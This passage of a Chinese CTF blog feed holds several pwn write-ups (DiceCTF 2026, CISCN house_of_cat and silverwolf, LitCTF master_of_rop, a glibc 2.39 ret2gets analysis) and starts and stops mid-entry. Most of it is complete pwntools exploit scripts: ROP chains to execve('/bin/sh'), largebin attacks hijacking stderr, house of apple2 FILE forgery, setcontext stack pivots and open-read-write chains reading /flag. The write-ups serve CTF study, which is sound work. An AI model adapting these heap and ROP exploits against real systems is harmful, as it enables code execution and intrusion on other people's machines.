b\u0026#39;1\u0026#39;) io.sendlineafter(b\u0026#39;New Message? \u0026#39;, meesage) def send_message_color(color): io.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, b\u0026#39;2\u0026#39;) io.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, str(color).encode()) def print_message(): io.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, b\u0026#39;3\u0026#39;) def myexit(): io.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, b\u0026#39;4\u0026#39;) def attack(): pop_rdi_pop_rbp_xor_eax_eax_ret = 0x2a1345 pop_rsi_ret = 0x243431 mov_rdx_rsi_add_rsp_0x80_pop_rbp_ret = 0x27146b mov_rax_rbx_pop_rbx_ret = 0x24577a syscall = 0x2a6602 xchg_rsp_rax_ret = 0x242d78 bin_sh = 0x2F9FD0 buffer = 0x2F9E38 funclist = 0x2F08E8 rop_chain = flat([ pop_rdi_pop_rbp_xor_eax_eax_ret, bin_sh, 0, pop_rsi_ret, 0, mov_rdx_rsi_add_rsp_0x80_pop_rbp_ret, p64(0) * 0x11, mov_rax_rbx_pop_rbx_ret, 59, mov_rax_rbx_pop_rbx_ret, 59, syscall, xchg_rsp_rax_ret ]) payload = flat({ 0x0: rop_chain, bin_sh - buffer: \u0026#39;/bin/sh\\x00\u0026#39; }, filler = \u0026#39;\\x00\u0026#39;) send_message(payload) send_message_color((buffer + len(rop_chain) - 8 - funclist) // 8) gdb.attach(io) print_message() io.interactive() attack() # .data.rel.ro:00000000002F08E8 funcs_243A92 dq offset _RNvYReNtCscVAelyVn9lu_7colored8Colorize3redB6_ # .bss:00000000002F9E38 ; challenge::BUFFER # 0x00000000002a1345: pop rdi; pop rbp; xor eax, eax; ret; # 0x0000000000243431: pop rsi; ret; # 0x000000000027146b: mov rdx, rsi; add rsp, 0x80; pop rbp; ret; # 0x000000000024577a: mov rax, rbx; pop rbx; ret; # 0x00000000002a6602: syscall; # 0x0000000000242d78: xchg rsp, rax; ret; # rdi-\u0026gt;0x2F9FD0-\u0026gt;/bin/sh\\x00 # rsi-\u0026gt;0 # rdx-\u0026gt;0 ","date":"2026-03-10T13:29:00Z","image":"https://pic.ratherhard.com/random/rd2.png","permalink":"/post/ctf-pwn/contest/dicectf-2026-quals-wp/","title":"DiceCTF-2026-Quals 个人题解"},{"content":"题目 题目链接\nchecksec seccomp 只能 orw ，但是限制 read 的 fd 为 0 ，于是可以先 close(0) 再 orw\nIDA main handle_command parse_command 需要逆向解析出指令格式\nexecute_command menu 套一层指令解析的菜单题\nadd 只能申请 largerequest 0x4200x470 ，放入 largebin 的话， 0x4200x430 一个 bin ， 0x440~0x470 一个 bin\nedit edit 限制为两次，只能写 0x30\nshow 用于 leak\ndelete 有 UAF\n攻击思路 先分析出命令格式： COMMAND | r00tQWB QWXFarg\n然后发现要 login 成为管理员，再 cat 拿菜单\n1 2 LOGIN | r00tQWB QWXFadmin CAT | r00tQWB QWXF\\xff 之后就是堆题\n只能申请固定范围内的 largebin ，考察 largebin attack 技巧，而 edit_count 的限制让这题变得棘手\nlargebin attack 令 largebin1-\u0026gt;bk_nextsize = target - 0x20 然后 free 一个小一点的 largebin2 进入同一个 bin 效果： target = largebin2\n由于程序无法正常退出，我们需要利用两次 largebin attack ：一次劫持 stderr 结构体指针，把它覆盖成可控堆地址再在可控堆地址上写 fake IO_FILE 结构体；另一次利用错位篡改 topsize 为一个较小值，这样可以触发 sysmalloc 中的一个 __malloc_assert ，从而执行 fake stderr 中 house of apple2 流程。这两次攻击会耗尽 edit_count\n在阅读 largebin 相关源码时我们注意到，一个 chunk 从 unsortedbin 转移到 largebin 时，如果它是最小的，那么就会触发 largebin attack 的核心流程：\n1 2 3 4 5 6 7 8 9 10 victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck-\u0026gt;fd; fwd = bck; bck = bck-\u0026gt;bk; victim-\u0026gt;fd_nextsize = fwd-\u0026gt;fd; victim-\u0026gt;bk_nextsize = fwd-\u0026gt;fd-\u0026gt;bk_nextsize; fwd-\u0026gt;fd-\u0026gt;bk_nextsize = victim-\u0026gt;bk_nextsize-\u0026gt;fd_nextsize = victim; 注意到这里的 fwd-\u0026gt;fd 即 largebin中最大的 chunk ，这意味着我们进行的两次 largebin attack 都需要劫持该 chunk 的 bk_nextsize\n顺带提一个小技巧：在 leak libc 和 leak heap 前，我们已经布置好了堆上的分隔式结构防止发生合并，但是我们还需要借助 libc 和 heap 数据去构造 fake stderr , fake _wide_data , fake srop struct , rop chain ，而 edit 只允许写 0x30 的数据，因此我们可以把目标 chunk 给 delete 后再马上 add 回并写入伪造结构，这样不会有任何其他影响\n完成 largebin attack 后，接下来我们选择 house of apple2 的 IO_FILE 调用链为：\n1 2 3 __malloc_assert ---\u0026gt; _fxprintf ---\u0026gt; locked_vfxprintf ---\u0026gt; __vfprintf_internal ---\u0026gt; _IO_wfile_overflow ---\u0026gt; _IO_wdoallocbuf ---\u0026gt; _IO_WDOALLOCATE ---\u0026gt; *(fp-\u0026gt;_wide_data-\u0026gt;_wide_vtable + 0x68)(fp) 这里我根据自己的理解，把调用链分成了三层：\n第一层是执行 fake stderr 中的 fake vtable 的虚表指针之前的部分，这部分除了正常 house of apple2 的 fake stderr 要伪造的内容外，还有一些额外的内容需要伪造，不属于 house of apple2 调用链\n第二层属于 house of apple2 调用链，在跳转的 target rip 之前\n第三层即跳转至 target rip\n这里给出 roderick 大佬的 house of apple2 的构造方式：\n_flags 设置为 ~(2 | 0x8 | 0x800) ，如果不需要控制 rdi ，设置为 0 即可；\nvtable 设置为 _IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap 地址（加减偏移），使其能成功调用 _IO_wfile_overflow 即可；\n_wide_data 设置为可控堆地址 A ，即满足 *(fp + 0xa0) = A\n_wide_data-\u0026gt;_IO_write_base 设置为 0 ，即满足 *(A + 0x18) = 0\n_wide_data-\u0026gt;_IO_buf_base 设置为 0 ，即满足 *(A + 0x30) = 0\n_wide_data-\u0026gt;_wide_vtable 设置为可控堆地址 B ，即满足 *(A + 0xe0) = B\n_wide_data-\u0026gt;_wide_vtable-\u0026gt;doallocate 设置为地址 C 用于劫持 RIP，即满足 *(B + 0x68) = C\n对于本题，还应：\n_lock 设置为可读写地址，不要影响到其他部分，即满足 *(fp + 0x88) = rw_addr\n此外，还要注意一个细节：堆地址比写入地址低 0x10\n到这里，伪造结构基本布置完毕，然后是 setcontext 环节\n这里以 rdx 为基准，经动态调试得知， rdx 会被赋值为 _wide_data ， 即 *(fp + 0xa0) ，这是在调用链第一层末尾完成的\n这一步做完后，愉快地打 rop 就行啦\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 1 if debug: io = process(\u0026#39;./house_of_cat_patched\u0026#39;) else: io = remote(\u0026#39;node4.anna.nssctf.cn\u0026#39;, 25341) libc = ELF(\u0026#39;./libc.so.6\u0026#39;) def login(): io.sendlineafter(b\u0026#39;mew~~~~~~\\n\u0026#39;, b\u0026#39;LOGIN | r00tQWB QWXFadmin\\x00\u0026#39;) def cat(): io.sendlineafter(b\u0026#39;mew~~~~~~\\n\u0026#39;, b\u0026#39;CAT | r00tQWB QWXF\\xff\\x00\u0026#39;) def add(idx, size, content): cat() io.sendlineafter(b\u0026#39;choice:\\n\u0026#39;, b\u0026#39;1\u0026#39;) io.sendlineafter(b\u0026#39;idx:\\n\u0026#39;, str(idx).encode()) io.sendlineafter(b\u0026#39;size:\\n\u0026#39;, str(size).encode()) io.sendafter(b\u0026#39;content:\\n\u0026#39;, content) def delete(idx): cat() io.sendlineafter(b\u0026#39;choice:\\n\u0026#39;, b\u0026#39;2\u0026#39;) io.sendlineafter(b\u0026#39;idx:\\n\u0026#39;, str(idx).encode()) def show(idx): cat() io.sendlineafter(b\u0026#39;choice:\\n\u0026#39;, b\u0026#39;3\u0026#39;) io.sendlineafter(b\u0026#39;idx:\\n\u0026#39;, str(idx).encode()) def edit(idx, content): cat() io.sendlineafter(b\u0026#39;choice:\\n\u0026#39;, b\u0026#39;4\u0026#39;) io.sendlineafter(b\u0026#39;idx:\\n\u0026#39;, str(idx).encode()) io.sendafter(b\u0026#39;content:\\n\u0026#39;, content) def malloc_assert(idx, size): cat() io.sendlineafter(b\u0026#39;choice:\\n\u0026#39;, b\u0026#39;1\u0026#39;) io.sendlineafter(b\u0026#39;idx:\\n\u0026#39;, str(idx).encode()) io.sendlineafter(b\u0026#39;size:\\n\u0026#39;, str(size).encode()) def final_attack_gen(heap): fake_io_base = heap + 0xb60 pop_rax_ret = libc.address + 0x45eb0 pop_rdi_ret = libc.address + 0x2a3e5 pop_rsi_ret = libc.address + 0x2be51 pop_rdx_pop_r12_ret = libc.address + 0x11f497 syscall_ret = libc.address + 0x91396 rop_chain = flat([ 3, pop_rdi_ret, 0, syscall_ret,\t# close(0) pop_rax_ret, 2, pop_rdi_ret, fake_io_base + 0x100, syscall_ret,\t# open(\u0026#34;/flag\u0026#34;) pop_rax_ret, 0, pop_rdi_ret, 0, pop_rsi_ret, fake_io_base + 0x400, pop_rdx_pop_r12_ret, 0x100, 0, syscall_ret,\t# read(0, buf, 0x100) pop_rax_ret, 1, pop_rdi_ret, 1, pop_rsi_ret, fake_io_base + 0x400, pop_rdx_pop_r12_ret, 0x100, 0, syscall_ret\t# write(1, buf, 0x100) ]) fake_io_and_rop = flat({ 0x78: heap, 0x88: libc.sym[\u0026#39;setcontext\u0026#39;] + 0x3d, 0x90: fake_io_base + 0x110, 0xC8: libc.sym[\u0026#39;_IO_wfile_jumps\u0026#39;] - 0x20, 0xf0: b\u0026#39;/flag\\x00\u0026#39;, 0x168: libc.sym[\u0026#39;setcontext\u0026#39;] + 0x3d, 0x1a0: fake_io_base + 0x210,\t# rsp 0x1a8: pop_rax_ret,\t# rip 0x1e0: fake_io_base + 0x110, 0x200: rop_chain }, filler=b\u0026#34;\\x00\u0026#34; ) return fake_io_and_rop def attack(): login() add(0, 0x458, b\u0026#39;AAA\u0026#39;)\t# init add(1, 0x468, b\u0026#39;ZZZ\u0026#39;) add(2, 0x448, b\u0026#39;BBB\u0026#39;) add(3, 0x468, b\u0026#39;ZZZ\u0026#39;) add(4, 0x438, b\u0026#39;CCC\u0026#39;) delete(0)\t# leak add(5, 0x468, b\u0026#39;ZZZ\u0026#39;) show(0) io.recvuntil(b\u0026#39;Context:\\n\u0026#39;) fd = u64(io.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) libc.address = fd - 0x21a0e0 log.info(f\u0026#39;libc = {hex(libc.address)}\u0026#39;) stderr = libc.symbols[\u0026#39;stderr\u0026#39;] io.recv(10) fdn = u64(io.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) heap = fdn - 0x290 log.info(f\u0026#39;heap = {hex(heap)}\u0026#39;) delete(2)\t# fix add(6, 0x448, final_attack_gen(heap)) edit(0, p64(fd) + p64(fd) + p64(fdn) + p64(stderr - 0x20))\t# largebin attack - stderr delete(6) add(7, 0x468, b\u0026#39;ZZZ\u0026#39;) topsize_tar = heap + 0x2140 + 8 - 5\t# largebin attack - topsize edit(0, p64(fd) + p64(fd) + p64(fdn) + p64(topsize_tar - 0x20)) delete(4) gdb.attach(io) malloc_assert(8, 0x468) io.interactive() attack() # COMMAND | r00tQWB QWXFARG # LOGIN | r00tQWB QWXFadmin # CAT | r00tQWB QWXF\\xff # rsp 0xa0; rcx(rip) 0xa8; ","date":"2026-03-07T00:58:00Z","image":"https://pic.ratherhard.com/random/rd3.png","permalink":"/post/ctf-pwn/nssctf/ciscn-2022-house_of_cat/","title":"NSSCTF-CISCN-2022-house_of_cat 题解"},{"content":"重要结构 1 typedef struct { int lock; int cnt; void *owner; } _IO_lock_t; 源码分析 gets 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 char * _IO_gets (char *buf) { size_t count; int ch; char *retval; _IO_acquire_lock (stdin); ch = _IO_getc_unlocked (stdin); if (ch == EOF) { retval = NULL; goto unlock_return; } if (ch == \u0026#39;\\n\u0026#39;) count = 0; else { /* This is very tricky since a file descriptor may be in the non-blocking mode. The error flag doesn\u0026#39;t mean much in this case. We return an error only when there is a new error. */ int old_error = stdin-\u0026gt;_flags \u0026amp; _IO_ERR_SEEN; stdin-\u0026gt;_flags \u0026amp;= ~_IO_ERR_SEEN; buf[0] = (char) ch; count = _IO_getline (stdin, buf + 1, INT_MAX, \u0026#39;\\n\u0026#39;, 0) + 1; if (stdin-\u0026gt;_flags \u0026amp; _IO_ERR_SEEN) { retval = NULL; goto unlock_return; } else stdin-\u0026gt;_flags |= old_error; } buf[count] = 0; retval = buf; unlock_return: _IO_release_lock (stdin); return retval; } _IO_gets 是 gets 的本体\n这里重点关注 _IO_acquire_lock 和 _IO_release_lock\n_IO_acquire_lock 和 _IO_release_lock 1 2 3 4 5 6 7 8 # define _IO_acquire_lock(_fp) \\ do {\t\\ FILE *_IO_acquire_lock_file\t\\ __attribute__((cleanup (_IO_acquire_lock_fct)))\t\\ = (_fp);\t\\ _IO_flockfile (_IO_acquire_lock_file); # define _IO_release_lock(_fp) ; } while (0) 注意 cleanup 属性\n_IO_flockfile 和 _IO_funlockfile 1 2 3 4 # define _IO_flockfile(_fp) \\ if (((_fp)-\u0026gt;_flags \u0026amp; _IO_USER_LOCK) == 0) _IO_lock_lock (*(_fp)-\u0026gt;_lock) # define _IO_funlockfile(_fp) \\ if (((_fp)-\u0026gt;_flags \u0026amp; _IO_USER_LOCK) == 0) _IO_lock_unlock (*(_fp)-\u0026gt;_lock) 此处 _lock 为 _IO_lock_t 的结构体指针\n_IO_lock_lock 和 _IO_lock_unlock 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 #define _IO_lock_lock(_name) \\ do {\t\\ void *__self = THREAD_SELF;\t\\ if (SINGLE_THREAD_P \u0026amp;\u0026amp; (_name).owner == NULL)\t\\ {\t\\ (_name).lock = LLL_LOCK_INITIALIZER_LOCKED;\t\\ (_name).owner = __self;\t\\ }\t\\ else if ((_name).owner != __self)\t\\ {\t\\ lll_lock ((_name).lock, LLL_PRIVATE);\t\\ (_name).owner = __self;\t\\ }\t\\ else\t\\ ++(_name).cnt;\t\\ } while (0) #define _IO_lock_unlock(_name) \\ do {\t\\ if (SINGLE_THREAD_P \u0026amp;\u0026amp; (_name).cnt == 0)\t\\ {\t\\ (_name).owner = NULL;\t\\ (_name).lock = 0;\t\\ }\t\\ else if ((_name).cnt == 0)\t\\ {\t\\ (_name).owner = NULL;\t\\ lll_unlock ((_name).lock, LLL_PRIVATE);\t\\ }\t\\ else\t\\ --(_name).cnt;\t\\ } while (0) _IO_acquire_lock_fct 1 2 3 4 5 6 7 8 static inline void __attribute__ ((__always_inline__)) _IO_acquire_lock_fct (FILE **p) { FILE *fp = *p; if ((fp-\u0026gt;_flags \u0026amp; _IO_USER_LOCK) == 0) _IO_funlockfile (fp); } 由于 cleanup 属性， gets 执行完成后会调用这个\n_IO_stdfile_0_lock 1 static _IO_lock_t _IO_stdfile_##FD##_lock = _IO_lock_initializer; 1 #define _IO_lock_initializer { LLL_LOCK_INITIALIZER, 0, NULL } gets 执行完成后， rdi 为 _IO_stdfile_0_lock 的地址，指向一个 _IO_lock_t 结构体\nTHREAD_SELF 1 2 3 4 5 # define THREAD_SELF \\ ({ struct pthread *__self;\t\\ asm (\u0026#34;mov %%fs:%c1,%0\u0026#34; : \u0026#34;=r\u0026#34; (__self)\t\\ : \u0026#34;i\u0026#34; (offsetof (struct pthread, header.self)));\t\\ __self;}) 极其高效地获取“当前线程”的线程控制块（TCB，即 struct pthread 结构体）的内存基地址\n利用思路 目标是通过 gets 后 rdi 的残留值传入 puts 以 leak tls\n在 _IO_gets 中，获取输入之前会先用 _IO_lock_lock 处理 _IO_stdfile_0_lock ，这使得 (_name).owner = __self = THREAD_SELF\n所以只要我们能覆盖前 _IO_stdfile_0_lock 的前 8 字节就可以通过 (_name).owner 去 leak tls\n但是要注意 _IO_acquire_lock_fct 即 _IO_funlockfile 即 _IO_lock_unlock 会在 gets 结束时执行，这意味着 (_name).cnt 会被减去 1 ，然后若此时 (_name).cnt 为 0 ，那么 (_name).owner 会被清空，无法 leak tls\n由于 puts 的输出截断于 \\x00 ，而 gets 会将末尾设置为 \\x00 ，我们需要利用上面 cnt 被减去 1 的机制绕过输出截断\n若构造 'AAAA\\x00\\x00\\x00' 的 payload ，由于 cnt 只有不为 0 时才会被减去 1 ，而且 cnt 为 0 owner 会被清空，该构造无效\n因此我们考虑分两次布置：第一次布置 b'A' * 8 + b'\\x00' * 6 ，目的是触发 (_name).owner == NULL ，第二次布置 b'B' * 4 后即可绕过截断\n但是在不同 linux 版本的情况下 leak 出的地址与 libc 的偏移会不同，甚至可能 leak 出的是与 ld 相关的部分，这就导致可能需要尝试利用 ld 中的 gadget 再去 leak libc\n","date":"2026-03-01T15:07:00Z","image":"https://pic.ratherhard.com/random/rd2.png","permalink":"/post/ctf-pwn/analyse/glibc2.39-ret2gets/","title":"glibc-2.39 ret2gets 分析"},{"content":"题目 题目链接\n攻击思路 没啥好说，就是 ret2gets\n但是本地和远程的系统环境不同，导致 leak tls 后情况不一致\n远程挺简单的， libc 与 tls 的偏移固定\n但我的本地环境 leak 出的是与 ld 相关的地址，这就需要利用 ld 中的 gadget 再去 leak libc\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 0 if debug: io = process(\u0026#39;./pwn_patched\u0026#39;) else: io = remote(\u0026#39;node4.anna.nssctf.cn\u0026#39;, 21460) rw_addr = 0x404400 gets_plt = 0x401080 puts_plt = 0x401060 again_addr = 0x4011B1 def attack(): payload = b\u0026#39;A\u0026#39; * 32 + p64(rw_addr) + p64(gets_plt) + p64(gets_plt) + p64(puts_plt) + p64(again_addr) io.sendlineafter(b\u0026#39;LitCTF2025!\\n\u0026#39;, payload) io.sendline(b\u0026#39;A\u0026#39; * 8 + b\u0026#39;\\x00\u0026#39; * 6) io.sendline(b\u0026#39;A\u0026#39; * 4) io.recv(8) anon_base = u64(io.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) - 0x740 log.info(f\u0026#39;anon_base = {hex(anon_base)}\u0026#39;) ld_base = anon_base + 0xc000 log.info(f\u0026#39;ld_base = {hex(ld_base)}\u0026#39;) pop_rdi_pop_rbp_ret = ld_base + 0x23dcc payload = b\u0026#39;A\u0026#39; * 32 + p64(rw_addr) + p64(pop_rdi_pop_rbp_ret) + p64(anon_base + 0x6c0) + p64(rw_addr) + p64(puts_plt) + p64(again_addr) io.sendlineafter(b\u0026#39;LitCTF2025!\\n\u0026#39;, payload) libc_base = u64(io.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) - 0x20b680 log.info(f\u0026#39;libc_base = {hex(libc_base)}\u0026#39;) pop_rbx_ret = libc_base + 0x586e4 pop_r12_ret = libc_base + 0x110951 onegadget = libc_base + 0xef4ce payload = b\u0026#39;A\u0026#39; * 32 + p64(rw_addr) + p64(pop_rbx_ret) + p64(0) + p64(pop_r12_ret) + p64(0) + p64(onegadget) io.sendlineafter(b\u0026#39;LitCTF2025!\\n\u0026#39;, payload) io.interactive() attack() ","date":"2026-02-28T19:02:00Z","image":"https://pic.ratherhard.com/random/rd2.png","permalink":"/post/ctf-pwn/nssctf/litctf-2025-master_of_rop/","title":"NSSCTF-LitCTF-2025-master_of_rop 题解"},{"content":"题目 题目链接\nchecksec 全开\nIDA main 菜单题\ninitbuf 有沙箱，需要 orw\nallocate 同一时间只能掌控一个 chunk ，最大为 0x78\nedit show 用于 leak\ndelete 有 UAF\n攻击思路 挺棘手的，这道题目没有任何 leak pie 和 leak stack 的手段，只能 leak libc 和 leak heap\n利用 UAF 和 tcache 机制我们可以轻松 leak heap ，并把 tcache_pthread_struct 扔进 unsorted_bin 以 leak libc ，同时还可以保留 tcache_pthread_struct 的写入权限\n劫持到 tcache_pthread_struct 后有一个好处： 我们获得了 tcache_entries 的控制权，这意味着我们可以轻松指定下一次指定大小的 chunk 的分配地址，这有利于我们布置 rop 链以及接下来的 setcontext 技巧\n由于我们没办法直接劫持程序流程，而且要实现 orw 的话直接劫持 free_hook 不够（参数个数原因），因此我们考虑栈迁移并构造 rop 链\n我们将栈迁移的目标设置在堆上，而要实现栈迁移，我们可以将 free_hook 劫持为 setcontext + 0x35 ，传入的 rdi 为寄存器布局的地址，即可实现类似 srop 的效果\nsetcontext 这里第一个 rcx 即 rip\n接下来我使用了一点小巧思：我们不直接写入 orw 的 rop 链，因为这样太长，需要分段写入，所以我们可以先调用 read syscall 在 rsp 的目标地址一次性写入 rop 链\n因此我们需要操纵的寄存器有\n1 2 3 4 5 6 rax = 0 rdi = 0 rsi = heap_addr + rop_offset rdx = 0x400 rsp = heap_addr + rop_offset rip = syscall_ret_addr 然后在新获得的写入机会中写入完整的 orw 攻击链即可拿到 flag\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 0 if debug: io = process(\u0026#39;./silverwolf_patched\u0026#39;) else: io = remote(\u0026#39;node4.anna.nssctf.cn\u0026#39;, 22853) def allocate(size): io.sendlineafter(b\u0026#39;Your choice: \u0026#39;, b\u0026#39;1\u0026#39;) io.sendlineafter(b\u0026#39;Index: \u0026#39;, b\u0026#39;0\u0026#39;) io.sendlineafter(b\u0026#39;Size: \u0026#39;, str(size).encode()) def edit(content): io.sendlineafter(b\u0026#39;Your choice: \u0026#39;, b\u0026#39;2\u0026#39;) io.sendlineafter(b\u0026#39;Index: \u0026#39;, b\u0026#39;0\u0026#39;) io.sendlineafter(b\u0026#39;Content: \u0026#39;, content) def show(): io.sendlineafter(b\u0026#39;Your choice: \u0026#39;, b\u0026#39;3\u0026#39;) io.sendlineafter(b\u0026#39;Index: \u0026#39;, b\u0026#39;0\u0026#39;) def delete(): io.sendlineafter(b\u0026#39;Your choice: \u0026#39;, b\u0026#39;4\u0026#39;) io.sendlineafter(b\u0026#39;Index: \u0026#39;, b\u0026#39;0\u0026#39;) def exit(): io.sendlineafter(b\u0026#39;Your choice: \u0026#39;, b\u0026#39;5\u0026#39;) def attack(): allocate(0x78) delete() show() io.recvuntil(b\u0026#39;Content: \u0026#39;) heap_base = u64(io.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) - 0x11b0 log.info(f\u0026#39;heap_base = {hex(heap_base)}\u0026#39;) edit(p64(heap_base + 0x10) + p64(0)) allocate(0x78) allocate(0x78) edit((p8(0) * 35 + p8(7)).ljust(0x40 - 1, p8(0))) delete() show() io.recvuntil(b\u0026#39;Content: \u0026#39;) libc_base = u64(io.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) - 0x3ebca0 log.info(f\u0026#39;libc_base = {hex(libc_base)}\u0026#39;) free_hook = 0x3ed8e8 + libc_base setcontext = 0x521b5 + libc_base xor_rax_ret = 0xb15a5 + libc_base pop_rdx_pop_rsi_ret = 0x130569 + libc_base syscall_ret = 0xd2745 + libc_base pop_rax_ret = 0x43ae8 + libc_base pop_rdi_ret = 0x215bf + libc_base stack_pivoting0 = 0x10000 + heap_base stack_pivoting1 = 0x10000 + heap_base + 0x70 stack_pivoting2 = 0x10000 + heap_base + 0xa0 edit(p8(0) * 0x40 + p64(free_hook - 0x8) + p64(stack_pivoting2) + p64(stack_pivoting1) + p64(stack_pivoting0)) allocate(0x18) edit(b\u0026#39;/flag\\x00\\x00\\x00\u0026#39; + p64(setcontext)) log.info(f\u0026#39;free_hook_addr = {hex(free_hook)}\u0026#39;) log.info(f\u0026#39;set_context_addr = {hex(setcontext)}\u0026#39;) allocate(0x28) srop2 = flat([ p64(heap_base + 0x58), p64(syscall_ret)]) edit(srop2) allocate(0x38) srop1 = flat([ p64(heap_base + 0x58), p64(0) * 2, p64(0x400)]) edit(srop1) allocate(0x48) delete() orw = flat([ p64(pop_rdi_ret), p64(free_hook - 0x08), p64(pop_rdx_pop_rsi_ret), p64(0), p64(0), p64(pop_rax_ret), p64(2), p64(syscall_ret), p64(pop_rdi_ret), p64(3), p64(pop_rdx_pop_rsi_ret), p64(0x100), p64(heap_base + 0x300), p64(xor_rax_ret), p64(syscall_ret), p64(pop_rdi_ret), p64(1), p64(pop_rdx_pop_rsi_ret), p64(0x100), p64(heap_base + 0x300), p64(pop_rax_ret), p64(1), p64(syscall_ret)]) io.send(orw) io.interactive() attack() ","date":"2026-02-26T20:41:00Z","image":"https://pic.ratherhard.com/random/rd3.png","permalink":"/post/ctf-pwn/nssctf/ciscn-2021-silverwolf/","title":"NSSCTF-CISCN-2021-silverwolf 题解"},{"content":"题目 题目链接\nIDA main calc 有一个 buf 相关的 off_by_null 以及由 i 操纵的 off_by_one ，无其余栈溢出漏洞\n因此考虑在原栈上做短程迁移以执行 rop 链\n要解一个 16 元方程组，图中有解出结果\ngot 用于泄露 libc 版本\nstack 攻击思路 在原栈上做短程迁移以执行 rop 链，注意要在 rop 链前面布置足够长的 ret sled 以提高命中率\n在正式攻击前先利用 got 表中信息泄露 libc 版本并获取 libc\n正式攻击在两次读入内解决，两次均使用短程迁移\n第一次读入泄露 libc 基址，并返回到 main 的开始，这是因为我们需要连续两次 push rbp 支撑后面的连续两次 leave ret 使得栈迁移不会崩溃\n第二次 ret2libc 执行 system(\u0026quot;/bin/sh\u0026quot;) 即可\n运行时要多尝试几次\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] libcoffsetdict = dict() libcrealdict = dict() def libcdict_add(name, addr): if addr \u0026gt; 0x1000000: libcrealdict[name] = addr addr %= 0x1000 libcoffsetdict[name] = addr def getlibc(path): if not debug: return ELF(libcdb.search_by_symbol_offsets(libcoffsetdict)) else: return ELF(path) def initlibc(libc): if not debug: subprocess.run([\u0026#39;cp\u0026#39;, libc.path, \u0026#39;./libc.so.6\u0026#39;]) subprocess.run([\u0026#39;pwninit\u0026#39;, \u0026#39;--no-template\u0026#39;]) debug = 0 if debug: io = process(\u0026#39;./pwn_patched\u0026#39;) else: io = remote(\u0026#39;node4.anna.nssctf.cn\u0026#39;, 23858) ret = 0x400CA4 pop_rdi_ret = 0x400CA3 puts_plt = 0x4005D0 puts_got = 0x602018 # printf_got = 0x602020 # read_got = 0x602028 # __libc_start_main_got = 0x602030 pop_rbp_ret = 0x400C3D again_addr = 0x400C1A def attack(): calc = p8(19) + p8(36) + p8(53) + p8(70) + p8(55) + p8(66) + p8(17) + p8(161) + p8(50) + p8(131) + p8(212) + p8(101) + p8(118) + p8(199) + p8(24) + p8(3) rop = p64(ret) * 21 rop += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(again_addr) # rop += p64(pop_rdi_ret) + p64(printf_got) + p64(puts_plt) # rop += p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) # rop += p64(pop_rdi_ret) + p64(__libc_start_main_got) + p64(puts_plt) payload = (((bytes(f\u0026#39;{0x18}\\x00\u0026#39;, \u0026#39;utf-8\u0026#39;).ljust(0x8, b\u0026#39;A\u0026#39;) + rop).ljust(0xd0, b\u0026#39;A\u0026#39;) + calc).ljust(0xfc, b\u0026#39;A\u0026#39;) + p16(0x38)).ljust(0x100, b\u0026#39;\\x00\u0026#39;) io.sendafter(b\u0026#39;number-1:\u0026#39;, payload) io.recvuntil(b\u0026#39;good done\\n\u0026#39;) puts = u64(io.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) # io.recvuntil(b\u0026#39;\\n\u0026#39;) # printf = 